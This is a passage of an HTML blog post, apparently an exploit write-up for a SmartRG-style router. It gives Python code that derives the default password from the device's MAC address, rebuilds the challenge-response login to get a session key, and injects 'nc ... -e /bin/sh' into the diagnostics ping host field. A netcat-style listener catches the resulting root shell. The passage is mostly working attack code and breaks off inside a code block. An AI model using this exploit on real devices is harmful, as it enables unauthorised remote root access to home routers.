sock.sendto(data, addr)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:   sock.sendall(data)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF\">print<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;=&gt;(root)# &quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">end<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #F92672\">except<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">ConnectionResetError<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    sys.exit()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #F92672\">finally<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    sock.close()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #AE81FF\">CLOSED_SOCK<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;__CLOSED_SOCK__&quot;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_io<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">io<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> (sys.stdin, sys.stdout) <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> io <\/span><span style=\"color: #F92672\">is<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\"> io<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">set_nonblocking<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">fd<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  flags <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> fcntl.fcntl(fd, fcntl.<\/span><span style=\"color: #AE81FF\">F_GETFL<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  flags <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> flags <\/span><span style=\"color: #F92672\">|<\/span><span style=\"color: #F8F8F2\"> os.<\/span><span style=\"color: #AE81FF\">O_NONBLOCK<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  fcntl.fcntl(fd, fcntl.<\/span><span style=\"color: #AE81FF\">F_SETFL<\/span><span style=\"color: #F8F8F2\">, flags)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">listen<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">port<\/span><span style=\"color: #F8F8F2\">):                                         <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">try<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tio  <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #66D9EF\">print<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;&#91;*&#93; Waiting for the router...&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tserver(port, <\/span><span style=\"color: #AE81FF\">False<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">io<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> io)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">except<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">KeyboardInterrupt<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">1<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">0<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">This part of code is a server socket that will start listening for the incoming connection. In this case we are waiting for the router to connect back to our machine. The code open a socket on the port that you passed as a parameter. It handles the connection, I\/O and the data conversion. The code is not mine I found it on Github (<strong><a href=\"https:\/\/github.com\/obfusk\/netcat.py\/blob\/master\/netcat.py\">Netcat Python<\/a><\/strong>) and I customized it to keep only the part that I needed for my exploit.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>def get_challenge(ws):\n\tchallenge_query = {\n\t\t\"jsonrpc\": \"2.0\", \n\t\t\"id\": 1, \n\t\t\"method\": \"challenge\", \n\t\t\"params\": &#91;\n\t\t\tsupport_user\n\t\t&#93;\n\t}\n\n\tws.send(json.dumps(challenge_query))\n\tchallenge_result = json.loads(ws.recv())&#91;'result'&#93;\n\ttoken = challenge_result&#91;'token'&#93;\n\tsalt = challenge_result&#91;'salt'&#93;\n\treturn token, salt\n\ndef md5crypt(password, salt):\n    return crypt.crypt(password, f'$1${salt}$')\n\ndef response(password, salt, token):\n    result = {}\n    result&#91;'hash'&#93; = md5crypt(password, salt)\n    s = string.ascii_letters + string.digits\n    result&#91;'challenge'&#93; = ''.join(random.choices(s, k=32))\n    result&#91;'response'&#93; = hashlib.md5(\n        (result&#91;'challenge'&#93; + token + result&#91;'hash'&#93;).encode('utf-8')).hexdigest()\n    return result\n\ndef build_unix_hash(password, salt, token):\n\tsha = hashlib.sha1()\n\tpwhash = hashlib.sha1()\n\tpwhash.update(password.encode())\n\tsha.update(token.encode())\n\tsha.update(pwhash.hexdigest().encode())\n\tresult = response(password, salt,  token)\n\treturn result\n\ndef get_mac_address(ip, port='80'):\n\tresponse = requests.get(f\"http:\/\/{ip}:{port}{status_url}\").json()\n\tdevice_mac = response&#91;'MFG_INFO'&#93;&#91;'MFG_MAC'&#93;\n\treturn device_mac&#91;9:&#93;\n\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_challenge<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">ws<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tchallenge_query <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #E6DB74\">&quot;jsonrpc&quot;<\/span><span style=\"color: #F8F8F2\">: <\/span><span style=\"color: #E6DB74\">&quot;2.0&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #E6DB74\">&quot;id&quot;<\/span><span style=\"color: #F8F8F2\">: <\/span><span style=\"color: #AE81FF\">1<\/span><span style=\"color: #F8F8F2\">, <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #E6DB74\">&quot;method&quot;<\/span><span style=\"color: #F8F8F2\">: <\/span><span style=\"color: #E6DB74\">&quot;challenge&quot;<\/span><span style=\"color: #F8F8F2\">, <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #E6DB74\">&quot;params&quot;<\/span><span style=\"color: #F8F8F2\">: &#91;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\tsupport_user<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t}<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tws.send(json.dumps(challenge_query))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tchallenge_result <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> json.loads(ws.recv())&#91;<\/span><span style=\"color: #E6DB74\">&#39;result&#39;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\ttoken <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> challenge_result&#91;<\/span><span style=\"color: #E6DB74\">&#39;token&#39;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tsalt <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> challenge_result&#91;<\/span><span style=\"color: #E6DB74\">&#39;salt&#39;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> token, salt<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">md5crypt<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">password<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">salt<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> crypt.crypt(password, <\/span><span style=\"color: #66D9EF; font-style: italic\">f<\/span><span style=\"color: #E6DB74\">&#39;$1$<\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">salt<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\">$&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">response<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">password<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">salt<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">token<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    result <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    result&#91;<\/span><span style=\"color: #E6DB74\">&#39;hash&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> md5crypt(password, salt)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    s <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> string.ascii_letters <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> string.digits<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    result&#91;<\/span><span style=\"color: #E6DB74\">&#39;challenge&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">.join(random.choices(s, <\/span><span style=\"color: #FD971F; font-style: italic\">k<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">32<\/span><span style=\"color: #F8F8F2\">))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    result&#91;<\/span><span style=\"color: #E6DB74\">&#39;response&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> hashlib.md5(<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        (result&#91;<\/span><span style=\"color: #E6DB74\">&#39;challenge&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> token <\/span><span style=\"color: #F92672\">+<\/span><span style=\"color: #F8F8F2\"> result&#91;<\/span><span style=\"color: #E6DB74\">&#39;hash&#39;<\/span><span style=\"color: #F8F8F2\">&#93;).encode(<\/span><span style=\"color: #E6DB74\">&#39;utf-8&#39;<\/span><span style=\"color: #F8F8F2\">)).hexdigest()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> result<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">build_unix_hash<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">password<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">salt<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">token<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tsha <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> hashlib.sha1()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tpwhash <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> hashlib.sha1()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tpwhash.update(password.encode())<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tsha.update(token.encode())<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tsha.update(pwhash.hexdigest().encode())<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tresult <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> response(password, salt,  token)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> result<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_mac_address<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">ip<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">port<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">&#39;80&#39;<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tresponse <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> requests.get(<\/span><span style=\"color: #66D9EF; font-style: italic\">f<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/<\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">ip<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\">:<\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">port<\/span><span style=\"color: #AE81FF\">}{<\/span><span style=\"color: #F8F8F2\">status_url<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\">&quot;<\/span><span style=\"color: #F8F8F2\">).json()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tdevice_mac <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> response&#91;<\/span><span style=\"color: #E6DB74\">&#39;MFG_INFO&#39;<\/span><span style=\"color: #F8F8F2\">&#93;&#91;<\/span><span style=\"color: #E6DB74\">&#39;MFG_MAC&#39;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> device_mac&#91;<\/span><span style=\"color: #AE81FF\">9<\/span><span style=\"color: #F8F8F2\">:&#93;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">This next part of code is how I generate the SHA-1 hash by requesting a challenge and performing some crypto stuff. How I did this ? I read the Javascript code and made a python version. All the answers are in the Javascript section above.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Basically, I created the same authentication mechanism the router uses in typical standard scenario:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sending the request for challenge with username<\/li>\n\n\n\n<li>Building the hashes from that token using the information gathered from the MAC address<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The last part is the execution of these steps above:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>def get_websocket(ip, port):\n\tws = create_connection(f\"ws:\/\/{ip}:{port}\/websocket\/\")\n\tif not ws:\n\t\tprint (\"&#91;!&#93; Couldn't connect to the router\")\n\t\treturn\n\treturn ws\n\ndef get_router_session(router_ip, router_port):\n\tws = get_websocket(router_ip, router_port)\n\tif not ws:\n\t\tsys.exit()\n\telse:\n\t\tdefault_password = get_mac_address(router_ip, router_port)\n\t\ttoken, salt = get_challenge(ws)\n\t\tresult = build_unix_hash(default_password, salt, token)\n\n\t\tprint(\"&#91;*&#93; Getting session key from the router\")\n\t\tsession = get_session_key(ws, result&#91;'challenge'&#93;, result&#91;'response'&#93;)\n\t\treturn ws, session\n\n\ndef exploit(device_ip, device_port, reverse_ip, reverse_port):\n\n\tws, session_key = get_router_session(device_ip, device_port)\n\tif session_key:\n\t\tcmd_inj = f\"''>\/dev\/null &amp; nc {reverse_ip} {reverse_port} -e \/bin\/sh &amp;\"\n\t\tping_query = {\n\t\t\t\"jsonrpc\":\"2.0\",\n\t\t\t\"id\":5,\n\t\t\t\"method\":\"call\",\n\t\t\t\"params\": &#91;\n\t\t\t\tsession_key,\n\t\t\t\t\"\/juci\/smartrg.diagnostics\",\n\t\t\t\t\"ping\", {\n\t\t\t\t\t\"host\": cmd_inj\n\t\t\t\t}\n\t\t\t&#93;\n\t\t}\n\t\tws.send(json.dumps(ping_query))<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_websocket<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">ip<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">port<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tws <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> create_connection(<\/span><span style=\"color: #66D9EF; font-style: italic\">f<\/span><span style=\"color: #E6DB74\">&quot;ws:\/\/<\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">ip<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\">:<\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">port<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\">\/websocket\/&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> ws:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #66D9EF\">print<\/span><span style=\"color: #F8F8F2\"> (<\/span><span style=\"color: #E6DB74\">&quot;&#91;!&#93; Couldn&#39;t connect to the router&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #F92672\">return<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> ws<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_router_session<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">router_ip<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">router_port<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tws <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_websocket(router_ip, router_port)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> ws:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tsys.exit()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tdefault_password <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_mac_address(router_ip, router_port)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\ttoken, salt <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_challenge(ws)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tresult <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> build_unix_hash(default_password, salt, token)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #66D9EF\">print<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;&#91;*&#93; Getting session key from the router&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tsession <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_session_key(ws, result&#91;<\/span><span style=\"color: #E6DB74\">&#39;challenge&#39;<\/span><span style=\"color: #F8F8F2\">&#93;, result&#91;<\/span><span style=\"color: #E6DB74\">&#39;response&#39;<\/span><span style=\"color: #F8F8F2\">&#93;)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> ws, session<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">exploit<\/span><span 